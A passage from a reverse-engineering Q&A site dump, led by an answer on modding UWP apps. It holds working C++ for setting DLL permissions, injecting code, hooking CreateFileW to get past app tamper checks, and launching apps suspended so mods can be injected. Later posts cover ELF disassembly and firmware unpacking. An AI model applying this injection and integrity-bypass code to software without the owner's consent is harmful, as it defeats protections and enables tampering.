itself.&lt;br&gt;&#xA;Note: Because of this, you cannot create new windows, like message boxes for example, when injected in a UWP-App.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Second:&lt;/strong&gt;&lt;br&gt;&#xA;The DLL you want to inject has to have “Read, Execute” as well as the “Read” permissions&#xA;set for the “ALL APPLICATION PACKAGES”-Group.&#xA;You can set this via the properties tab of the DLL-file but the name may differ depending on&#xA;your system language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also just use the following little code snippet  from&#xA;&lt;a href=&quot;http://stackoverflow.com/questions/17761826/assigning-folder-permissions-to-all-application-packages-group&quot;&gt;StackOverflow&lt;/a&gt; (so don’t mind the “goto”s) to set the permissions programmatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Code-Snippet&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DWORD SetPermissions(std::wstring wstrFilePath) {&#xA;    PACL pOldDACL = NULL, pNewDACL = NULL;&#xA;    PSECURITY_DESCRIPTOR pSD = NULL;&#xA;    EXPLICIT_ACCESS eaAccess;&#xA;    SECURITY_INFORMATION siInfo = DACL_SECURITY_INFORMATION;&#xA;    DWORD dwResult = ERROR_SUCCESS;&#xA;    PSID pSID;&#xA;    // Get a pointer to the existing DACL&#xA;    dwResult = GetNamedSecurityInfo(wstrFilePath.c_str(), SE_FILE_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, &amp;amp; pOldDACL, NULL, &amp;amp; pSD);&#xA;    if (dwResult != ERROR_SUCCESS)&#xA;        goto Cleanup;&#xA;    // Get the SID for ALL APPLICATION PACKAGES using its SID string&#xA;    ConvertStringSidToSid(L&quot;S-1-15-2-1&quot;, &amp;amp; pSID);&#xA;    if (pSID == NULL)&#xA;        goto Cleanup;&#xA;    ZeroMemory( &amp;amp; eaAccess, sizeof(EXPLICIT_ACCESS));&#xA;    eaAccess.grfAccessPermissions = GENERIC_READ | GENERIC_EXECUTE;&#xA;    eaAccess.grfAccessMode = SET_ACCESS;&#xA;    eaAccess.grfInheritance = SUB_CONTAINERS_AND_OBJECTS_INHERIT;&#xA;    eaAccess.Trustee.TrusteeForm = TRUSTEE_IS_SID;&#xA;    eaAccess.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP;&#xA;    eaAccess.Trustee.ptstrName = (LPWSTR) pSID;&#xA;    // Create a new ACL that merges the new ACE into the existing DACL&#xA;    dwResult = SetEntriesInAcl(1, &amp;amp; eaAccess, pOldDACL, &amp;amp; pNewDACL);&#xA;    if (ERROR_SUCCESS != dwResult)&#xA;        goto Cleanup;&#xA;    // Attach the new ACL as the object's DACL&#xA;    dwResult = SetNamedSecurityInfo((LPWSTR) wstrFilePath.c_str(), SE_FILE_OBJECT, siInfo, NULL, NULL, pNewDACL, NULL);&#xA;    if (ERROR_SUCCESS != dwResult)&#xA;        goto Cleanup;&#xA;Cleanup:&#xA;    if (pSD != NULL)&#xA;        LocalFree((HLOCAL) pSD);&#xA;    if (pNewDACL != NULL)&#xA;        LocalFree((HLOCAL) pNewDACL);&#xA;    return dwResult;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Afterward, inject your DLL with your preferred injector/method, and your DLLs code will&#xA;magically function.&lt;br&gt;&#xA;Since UWP-Apps use the Win32 API under the hood, you can expect KernelBase.dll,&#xA;Kernel32.dll, ntdll.dll, and user32.dll to be loaded in them. You will also find d2d1.dll and&#xA;either d3d11.dll or d3d12.dll (used in a handful of apps) loaded in all UWP apps, including&#xA;the new UWP calculator app.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For function hooking, as you might now expect, it works the same way it does for Win32 Programs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Taking control over the (hidden) “C:\Program Files\WindowsApps\” directory :&lt;/strong&gt;&lt;br&gt;&#xA;Without taking control over the (hidden) “C:\Program Files\WindowsApps\” directory, or&#xA;wherever you might have it, you cannot access the files of UWP-Apps.&lt;br&gt;&#xA;But you can just take&#xA;control of this, and any subdirectories and its files without any problems.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also always just &lt;a href=&quot;https://mikehowells.wordpress.com/2011/02/12/running-a-command-prompt-as-nt-authoritysystem/&quot; rel=&quot;noreferrer&quot;&gt;open up a shell as NT-Authority&lt;/a&gt; and access them that way.&lt;br&gt;&#xA;If you just wanted to mod a simple config file or something you should be fine.&#xA;However, some Apps, not all of them, check if their files were tampered with. But that’s&#xA;easily circumvented.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you have to do is Hook the “CreateFileW“-Method in “KernelBase.dll“, monitor the file&#xA;access and then reroute those access requests to load your modified version from some&#xA;directory you can access just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here’s an example that does exactly what just described, using the previously mentioned MinHook library.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Code-Snippet :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;Windows.h&amp;gt;&#xA;#include &amp;lt;atlbase.h&amp;gt;&#xA;#include &amp;lt;Shlobj.h&amp;gt;&#xA;#include &amp;lt;string&amp;gt;&#xA;#include &quot;MinHook.h&quot;&#xA;// Path to modified game files store in AppData&#xA;std::wstring MOD_FILES_PATH;&#xA;// Path to the apps protected resources in WindowsApps&#xA;// Don't use the full path name, just keep the Publisher.AppName part&#xA;std::wstring APP_LOCATION(L&quot;C:\\ProgramFiles\\WindowsApps\\Publisher.AppName&quot;);&#xA;// Sets a hook on the function at origAddress function and provides a trampoline to the original function&#xA;BOOL setHook(LPVOID * origAddress, LPVOID * hookFunction, LPVOID * trampFunction);&#xA;// Attaches a hook on a function given the name of the owning module and the name of the function&#xA;BOOL attach(LPWSTR wstrModule, LPCSTR strFunction, LPVOID * hook, LPVOID * original);&#xA;// Basic hook setup for CreateFileW&#xA;typedef HANDLE(WINAPI * PfnCreateFileW)(LPCWSTR lpFilename, DWORD dwAccess,&#xA;    DWORD dwSharing, LPSECURITY_ATTRIBUTES saAttributes, DWORD dwCreation,&#xA;    DWORD dwAttributes, HANDLE hTemplate);&#xA;PfnCreateFileW pfnCreateFileW = NULL; // Will hold the trampoline to the original CreateFileW function&#xA;// CreateFileW hook function&#xA;HANDLE WINAPI HfnCreateFileW(LPCWSTR lpFilename, DWORD dwAccess, DWORD dwSharing, LPSECURITY_ATTRIBUTES saAttributes, DWORD dwCreation, DWORD dwAttributes, HANDLE hTemplate) {&#xA;    std::wstring filePath(lpFilename);&#xA;    // Check if the app is accessing protected resources&#xA;    if (filePath.find(APP_LOCATION) != filePath.npos) {&#xA;        std::wstring newPath(MOD_FILES_PATH);&#xA;        // Windows provides the app the location of the WindowsApps directory, so the first half the file path will use back slashes&#xA;        // After that, some apps will use back slashes while others use forward slashes so be aware of what the app uses&#xA;        newPath += filePath.substr(filePath.find(L&quot;\\&quot;, APP_LOCATION.size()) + 1,&#xA;            filePath.size());&#xA;        // Check if the file being accessed exists at the new path and reroute access to that file&#xA;        // Don't reroute directories as bad things can happen such as directories being ghost locked&#xA;        if (PathFileExists(newPath.c_str()) &amp;amp;&amp;amp; !PathIsDirectory(newPath.c_str()))&#xA;            return pfnCreateFileW(newPath.c_str(), dwAccess, dwSharing, saAttributes,&#xA;                dwCreation, dwAttributes, hTemplate);&#xA;    }&#xA;    // Let the app load other files normally&#xA;    return pfnCreateFileW(lpFilename, dwAccess, dwSharing, saAttributes,&#xA;        dwCreation, dwAttributes, hTemplate);&#xA;}&#xA;BOOL Initialize() {&#xA;    // Initialize MinHook&#xA;    if (MH_Initialize() != MH_OK)&#xA;        return FALSE;&#xA;    // Get the path to the apps AppData folder&#xA;    // When inside a UWP app, CSIDL_LOCAL_APPDATA returns the location of the apps AC folder in AppData&#xA;    TCHAR szPath[MAX_PATH];&#xA;    if (SUCCEEDED(SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, szPath))) {&#xA;        // Get the path to the mod files folder&#xA;        std::wstring appData(szPath);&#xA;        appData = appData.substr(0, appData.rfind(L&quot;AC&quot;)); // Get the base directory&#xA;        appData += L&quot;LocalState\\ModFiles\\&quot;; // Get the location of any new files you want the app to use&#xA;        MOD_FILES_PATH = appData;&#xA;    } else&#xA;        return FALSE;&#xA;    // Attach a hook on CreateProcessW and return the status of the hook&#xA;    BOOL hook = TRUE;&#xA;    hook &amp;amp;= attach(L&quot;KernelBase.dll&quot;, &quot;CreateFileW&quot;, (LPVOID * ) &amp;amp; HfnCreateFileW,&#xA;        (LPVOID * ) &amp;amp; pfnCreateFileW);&#xA;    return hook;&#xA;}&#xA;BOOL Uninitialize() {&#xA;    // Uninitialize MinHook&#xA;    if (MH_Uninitialize() != MH_OK)&#xA;        return FALSE; // This status will end up being ignored&#xA;    return TRUE;&#xA;}&#xA;BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {&#xA;    switch (ul_reason_for_call) {&#xA;    case DLL_PROCESS_ATTACH:&#xA;        return Initialize(); // If initialization failed, the DLL will detach&#xA;        break;&#xA;    case DLL_THREAD_ATTACH:&#xA;        break;&#xA;    case DLL_THREAD_DETACH:&#xA;        break;&#xA;    case DLL_PROCESS_DETACH:&#xA;        Uninitialize(); // Return value doesn't matter when detaching&#xA;        break;&#xA;    }&#xA;    return TRUE;&#xA;}&#xA;BOOL setHook(LPVOID * origAddress, LPVOID * hookFunction, LPVOID * trampFunction) {&#xA;    if (MH_CreateHook(origAddress, hookFunction,&#xA;            reinterpret_cast &amp;lt; LPVOID * &amp;gt; (trampFunction)) != MH_OK)&#xA;        return FALSE;&#xA;    if (MH_EnableHook(origAddress) != MH_OK)&#xA;        return FALSE;&#xA;    return TRUE;&#xA;}&#xA;BOOL attach(LPWSTR wstrModule, LPCSTR strFunction, LPVOID * hook, LPVOID * original) {&#xA;    HMODULE hModule = GetModuleHandle(wstrModule);&#xA;    if (hModule == NULL)&#xA;        return FALSE;&#xA;    FARPROC hFunction = GetProcAddress(hModule, strFunction);&#xA;    if (hFunction == NULL)&#xA;        return FALSE;&#xA;    return setHook((LPVOID * ) hFunction, hook, original);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;A few more things:&lt;/strong&gt;&lt;br&gt;&#xA;You can’t just launch a UWP-App like a regular Win32 Program using CreateProcess.&#xA;Luckily for us, M$ has provided us with the &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/hh706902(v=vs.85).aspx&quot; rel=&quot;noreferrer&quot;&gt;IApplicationActivationManager&lt;/a&gt; interface which&#xA;lets developers launch UWP apps from regular Win32 programs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we want to do something to an App before it is launched, we can suspend it before that using the code below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Code Snippet :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Gets the current application's UserModelId and PackageId from the registry&#xA;// Substitute your own methods in place of these&#xA;std::wstring appName = GetApplicationUserModelId();&#xA;std::wstring appFullName = GetApplicationPackageId();&#xA;&#xA;HRESULT hResult = S_OK;&#xA;&#xA;// Create a new instance of IPackageDebugSettings&#xA;ATL::CComQIPtr debugSettings;&#xA;hResult = debugSettings.CoCreateInstance(CLSID_PackageDebugSettings, NULL, CLSCTX_ALL);&#xA;if(hResult != S_OK) return hResult;&#xA;&#xA;// Enable debugging&#xA;hResult = debugSettings-&amp;gt;EnableDebugging(appFullName.c_str(), NULL, NULL);&#xA;if(hResult != S_OK) return hResult;&#xA;&#xA;// Launch the application using the function discussed above&#xA;DWORD dwProcessId = 0;&#xA;hResult = LaunchApplication(appName, &amp;amp;dwProcessId);&#xA;if(hResult != S_OK) return hResult;&#xA;&#xA;/* Do more stuff after the app has been resumed */&#xA;&#xA;// Stop debugging the application so it can run as normal&#xA;hResult = debugSettings-&amp;gt;DisableDebugging(appFullName.c_str());&#xA;if(hResult != S_OK) return hResult;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using the code above, your program will hang until the app is resumed as it is waiting on the app to reply back to the IApplicationActivationManager on its launch status. To resume the app, you can simply specify the path to your executable file when enabling debugging:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Code Snippet:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Enable Debugging with a custom debugger executable&#xA;hResult = debugSettings-&amp;gt;EnableDebugging(appFullName.c_str(), pathToExecutable.c_str(), NULL);&#xA;if(hResult != S_OK) return hResult;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Windows will pass the process ID for the app process to the executable acting as the debugger using the command line argument -p followed by the process ID. From the debugger executable, you can do whatever you want to while the app is suspended such as injecting mods, and finally resume the app using NtResumeProcess.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define IMPORT extern __declspec(dllimport)&#xA;&#xA;IMPORT int __argc;&#xA;IMPORT char** __argv;&#xA;//IMPORT wchar_t** __wargv;&#xA;&#xA;// Turning this into a normal Windows program so it's invisible when run&#xA;int CALLBACK WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)&#xA;{&#xA;    DWORD dwProcessId = 0;&#xA;&#xA;    // Process the arguments passed to the debugger&#xA;    for (int i = 1; i &amp;lt; __argc; i += 2)&#xA;    {&#xA;        std::string arg(__argv[i]);&#xA;        if (arg == &quot;-p&quot;)&#xA;            dwProcessId = atoi(__argv[i + 1]);&#xA;    }&#xA;&#xA;    if(dwProcessId == 0)&#xA;        return E_FAIL;&#xA;&#xA;    // Can do additional error checking to make sure the app is active and not tombstoned&#xA;&#xA;    ModLoader::InjectMods(dwProcessId);&#xA;    ProcessUtils::ResumeProcess(dwProcessId); // Uses NtResumeProcess&#xA;&#xA;    return S_OK;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Important note:&lt;/strong&gt; Call&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Initialize COM objects, only need to do this once per thread&#xA;DWORD hresult = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);&#xA;if (!SUCCEEDED(hresult)) return hresult;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Before you launch an App or do anything call this afterward:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CoUninitialize();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;References:&lt;/strong&gt;&lt;br&gt;&#xA;(1) &lt;a href=&quot;https://www.unknowncheats.me/forum/general-programming-and-reversing/177183-basic-intermediate-techniques-uwp-app-modding.html&quot; rel=&quot;noreferrer&quot;&gt;Basic and Intermediate Techniques of UWP App Modding&lt;/a&gt;&lt;br&gt;&#xA;(2) &lt;a href=&quot;https://behind.flatspot.pictures/hacking-windows-universal-apps-uwp/&quot; rel=&quot;noreferrer&quot;&gt;Hacking and Modding Windows Universal Apps&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I sincerely hope that these two answers of mine would be helpful to anyone searching SE in future on the topics of UWP App hooking/modification.&lt;/p&gt;&#xA;" OwnerUserId="18402" LastEditorUserId="8546" LastEditDate="2020-05-09T00:09:14.577" LastActivityDate="2020-05-09T00:09:14.577" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="17201" PostTypeId="2" ParentId="17196" CreationDate="2018-01-15T19:22:52.170" Score="2" Body="&lt;p&gt;Alas, BFD-based tools like &lt;code&gt;gdb&lt;/code&gt; or &lt;code&gt;objdump&lt;/code&gt; &lt;a href=&quot;https://github.com/BR903/ELFkickers/tree/master/sstrip&quot; rel=&quot;nofollow noreferrer&quot;&gt;can't handle ELF files without a section table&lt;/a&gt;. However, Linux and other OSes using ELFs do not actually require a file to have section table to be executable, only the segment table (Program headers) are enough. However, &lt;code&gt;readelf&lt;/code&gt; does not use BFD and so can display ELF details even without section table. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;readelf -SW sample.elf&#xA;There are no sections in this file.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;readelf -ed sample.elf&#xA;ELF Header:&#xA;  Magic:   7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00 &#xA;  Class:                             ELF32&#xA;  Data:                              2's complement, big endian&#xA;  Version:                           1 (current)&#xA;  OS/ABI:                            UNIX - System V&#xA;  ABI Version:                       0&#xA;  Type:                              EXEC (Executable file)&#xA;  Machine:                           MIPS R3000&#xA;  Version:                           0x1&#xA;  Entry point address:               0x405110&#xA;  Start of program headers:          52 (bytes into file)&#xA;  Start of section headers:          0 (bytes into file)&#xA;  Flags:                             0x50001007, noreorder, pic, cpic, o32, mips32&#xA;  Size of this header:               52 (bytes)&#xA;  Size of program headers:           32 (bytes)&#xA;  Number of program headers:         7&#xA;  Size of section headers:           0 (bytes)&#xA;  Number of section headers:         0&#xA;  Section header string table index: 0&#xA;&#xA;There are no sections in this file.&#xA;&#xA;Program Headers:&#xA;  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align&#xA;  PHDR           0x000034 0x00400034 0x00400034 0x000e0 0x000e0 R E 0x4&#xA;  INTERP         0x000114 0x00400114 0x00400114 0x00014 0x00014 R   0x1&#xA;      [Requesting program interpreter: /lib/ld-uClibc.so.0]&#xA;  REGINFO        0x000128 0x00400128 0x00400128 0x00018 0x00018 R   0x4&#xA;  LOAD           0x000000 0x00400000 0x00400000 0x5d86c 0x5d86c R E 0x1000&#xA;  LOAD           0x05e000 0x10000000 0x10000000 0x01f64 0x055c4 RW  0x1000&#xA;  DYNAMIC        0x000140 0x00400140 0x00400140 0x04f36 0x04f36 RWE 0x4&#xA;  GNU_EH_FRAME   0x05d850 0x0045d850 0x0045d850 0x0001c 0x0001c R   0x4&#xA;&#xA;Dynamic section at offset 0x140 contains 26 entries:&#xA;  Tag        Type                         Name/Value&#xA; 0x00000001 (NEEDED)                     Shared library: [libcrypt.so.0]&#xA; 0x00000001 (NEEDED)                     Shared library: [libm.so.0]&#xA; 0x00000001 (NEEDED)                     Shared library: [libnbu.so]&#xA; 0x00000001 (NEEDED)                     Shared library: [libnbd.so]&#xA; 0x00000001 (NEEDED)                     Shared library: [libc.so.0]&#xA; 0x0000000c (INIT)                       0x405088&#xA; 0x0000000d (FINI)                       0x4557b0&#xA; 0x00000004 (HASH)                       0x400238&#xA; 0x00000005 (STRTAB)                     0x403868&#xA; 0x00000006 (SYMTAB)                     0x401398&#xA; 0x0000000a (STRSZ)                      6158 (bytes)&#xA; 0x0000000b (SYMENT)                     16 (bytes)&#xA; 0x70000016 (MIPS_RLD_MAP)               0x10001630&#xA; 0x00000015 (DEBUG)                      0x0&#xA; 0x00000003 (PLTGOT)                     0x10001640&#xA; 0x00000011 (REL)                        0x405078&#xA; 0x00000012 (RELSZ)                      16 (bytes)&#xA; 0x00000013 (RELENT)                     8 (bytes)&#xA; 0x70000001 (MIPS_RLD_VERSION)           1&#xA; 0x70000005 (MIPS_FLAGS)                 NOTPOT&#xA; 0x70000006 (MIPS_BASE_ADDRESS)          0x400000&#xA; 0x7000000a (MIPS_LOCAL_GOTNO)           13&#xA; 0x70000011 (MIPS_SYMTABNO)              589&#xA; 0x70000012 (MIPS_UNREFEXTNO)            35&#xA; 0x70000013 (MIPS_GOTSYM)                0x11&#xA; 0x00000000 (NULL)                       0x0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, it does have a proper dynamic table with &lt;code&gt;DT_SYMTAB&lt;/code&gt; entry necessary to resolve symbols. However, &lt;code&gt;readelf&lt;/code&gt; lacks a disassembler so we will have to use &lt;code&gt;objdump&lt;/code&gt; after all, just without relying on the section table. First, let's extract the first &lt;code&gt;LOAD&lt;/code&gt; segment (it has &quot;(R)ead (E)execute&quot; flags so likely to contain code) into a separate file:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;dd if=sample.elf bs=1 skip=0 count=383084 of=text.bin&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(unfortunately &lt;code&gt;dd&lt;/code&gt; only accepts decimal values). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. In fact, since the segment starts at 0, you could have skipped this step and disassembled the input file directly. However, this is not always the case. so may be useful for other files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now we can disassemble it with &lt;code&gt;objdump&lt;/code&gt; as raw binary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mips-linux-gnu-objdump -b binary -D -m mips:isa32r2 --adjust-vma=0x00400000 --start-address=0x405110  -EB text.bin &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Breakdown of the options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;b binary&lt;/code&gt;: treat input as raw binary&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;-D&lt;/code&gt;: disassemble everything as code (necessary for raw binaries since they don't have sections or other metadata)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;-m mips:isa32r2&lt;/code&gt; : treat code as MIPS32r2 instructions&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;--adjust-vma=0x00400000&lt;/code&gt; : assume that binary is loaded at &lt;code&gt;0x00400000&lt;/code&gt; (&lt;code&gt;VirtAddr&lt;/code&gt; column from the &lt;code&gt;readelf&lt;/code&gt; program headers dump).&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;--start-address=0x405110&lt;/code&gt;:  start disassembly at 0x405110 (&quot;Entry point address&quot; from the header dump)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;-EB&lt;/code&gt;: instructions are big-endian (as hinted by &lt;code&gt;readelf&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The result looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Disassembly of section .data:&#xA;&#xA;00405110 &amp;lt;.data+0x5110&amp;gt;:&#xA;  405110:       04100001        bltzal  zero,0x405118&#xA;  405114:       00000000        nop&#xA;  405118:       3c1c0fc0        lui     gp,0xfc0&#xA;  40511c:       279c4518        addiu   gp,gp,17688&#xA;  405120:       039fe021        addu    gp,gp,ra&#xA;  405124:       0000f821        move    ra,zero&#xA;  405128:       8fa40000        lw      a0,0(sp)&#xA;  40512c:       27a50004        addiu   a1,sp,4&#xA;  405130:       24860001        addiu   a2,a0,1&#xA;  405134:       00063080        sll     a2,a2,0x2&#xA;  405138:       00c53020        add     a2,a2,a1&#xA;  40513c:       8f87861c        lw      a3,-31204(gp)&#xA;  405140:       27bdffe8        addiu   sp,sp,-24&#xA;  405144:       8f82829c        lw      v0,-32100(gp)&#xA;  405148:       00000000        nop&#xA;  40514c:       afa20010        sw      v0,16(sp)&#xA;  405150:       8f998114        lw      t9,-32492(gp)&#xA;  405154:       00000000        nop&#xA;  405158:       0320f809        jalr    t9&#xA;  40515c:       00000000        nop&#xA;  405160:       27bd0018        addiu   sp,sp,24&#xA;  405164:       1000ffff        b       0x405164&#xA;  405168:       00000000        nop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Don't pay attention to &lt;code&gt;.data&lt;/code&gt;, that's just the default name when &lt;code&gt;objdump&lt;/code&gt;  has no other information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Making sense of the disassembly is left as an exercise to the reader :)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I forgot &lt;code&gt;readelf&lt;/code&gt; options. In fact, the manpage mentions:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;-D&lt;/strong&gt;&lt;br&gt;&#xA;&lt;strong&gt;--use-dynamic&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When displaying symbols, this option makes readelf use the symbol table in the file's dynamic section, rather than the one in the symbols section. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;And indeed, &lt;code&gt;readelf -Ds sample.elf&lt;/code&gt; shows nice output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Symbol table for image:&#xA;  Num Buc:    Value  Size   Type   Bind Vis      Ndx Name&#xA;   58   0: 00455690     0 FUNC    GLOBAL DEFAULT UND execvp&#xA;  384   1: 00454c90     0 FUNC    GLOBAL DEFAULT UND getpgrp&#xA;   68   3: 00455640     0 FUNC    GLOBAL DEFAULT UND open&#xA;  123   3: 004554a0     0 FUNC    GLOBAL DEFAULT UND socketpair&#xA;  513   3: 0044a298     0 FUNC    GLOBAL DEFAULT bad xdr_dirpath&#xA;  120   4: 004554b0     0 FUNC    GLOBAL DEFAULT UND strftime&#xA;  373   4: 00454ce0     0 FUNC    GLOBAL DEFAULT UND strrchr&#xA;  572   4: 00454730     0 FUNC    GLOBAL DEFAULT UND waitpid&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2018-01-15T19:53:56.727" LastActivityDate="2018-01-15T19:53:56.727" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17203" PostTypeId="1" CreationDate="2018-01-15T19:50:45.760" Score="2" ViewCount="3601" Body="&lt;p&gt;See the image how there is ecx, ecx+4, ecx+8, ecx+24, etc... What if this is a struct and I want to define it... Can I do this in x64Dbg and if so, how? I do see a Struct tab in the hex dump area, but if I right-click, there is no option to define a struct.&lt;a href=&quot;https://i.stack.imgur.com/vb4zy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vb4zy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18507" LastActivityDate="2018-01-16T19:16:49.790" Title="How can I define a struct in x64/x32Dbg?" Tags="|struct|x64dbg|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17204" PostTypeId="1" CreationDate="2018-01-15T21:37:58.310" Score="2" ViewCount="95" Body="&lt;p&gt;I am working on reverse engineering a signal that I am fairly certain is a PiWM encoding. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I have figured it out, but the data seems to be gibberish so I am looking for some help to confirm that I have in fact converted the raw capture to 1’s and 0’s. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially I did the following -&#xA;1- capture using osmocom_fft on hackrf one&#xA;2- using inspectrum I was able to find the symbol rate of the smallest message to be 2000 symbols per second&#xA;3- exported the symbols &#xA;4 - using iPython converted the symbols to 1’s and 0’s&#xA;The preamble has 0011 repeated 20 times which leads me to believe I am on the right track so far. &#xA;5 - wrote a perl script to parse those 1’s and 0’s to concert anytime I see two 1’s or two 0’s in a row = 1, otherwise = 0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is my understanding that in Pulse Interval Width Modulation the Mark / Space is the long gap, short gap. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this sound correct or am I lost ? &lt;/p&gt;&#xA;" OwnerUserId="22910" LastActivityDate="2018-01-15T21:37:58.310" Title="Need help with a PiWM encoding question" Tags="|radio-interception|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17208" PostTypeId="1" CreationDate="2018-01-16T08:32:44.767" Score="1" ViewCount="363" Body="&lt;p&gt;I have been trying to unsquash a system.sfs file in order to modify the directories. however, &lt;code&gt;unsquashfs system.sfs&lt;/code&gt; returns the following output:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Parallel unsquashfs: Using 8 processors&#xA;1 inodes (16000 blocks) to write&#xA;&#xA;[===========================================|                                        ]  8386/16000  52%&#xA;gzip uncompress failed with error code -5&#xA;[=============================================================-                      ] 11906/16000  74%&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And it keeps hanging there. After I force the termination of the unsquashing process, I get a single &lt;code&gt;system.img&lt;/code&gt; file, however, it is partial and can't be processed as a valid archive.&#xA;I have tried following the advice in &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/3454/unsquashfs-fails&quot;&gt;this article&lt;/a&gt;, none of the tools helped solve the problem.&#xA;&lt;code&gt;hexdump system.img&lt;/code&gt; doesn't produce any unusual output (except the address where it stopped maybe [0x4CCA0000]?):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;4cc9ff30  40 00 00 00 00 00 00 00  00 00 03 7d 95 99 9d a1  |@..........}....|&#xA;4cc9ff40  a5 00 00 00 00 00 00 00  00 04 74 24 2c 00 00 00  |..........t$,...|&#xA;4cc9ff50  00 00 00 00 00 00 00 00  05 77 34 3c 00 00 00 00  |.........w4&amp;lt;....|&#xA;4cc9ff60  00 00 00 00 00 00 00 06  7e 95 9d 00 00 00 00 00  |........~.......|&#xA;4cc9ff70  00 00 00 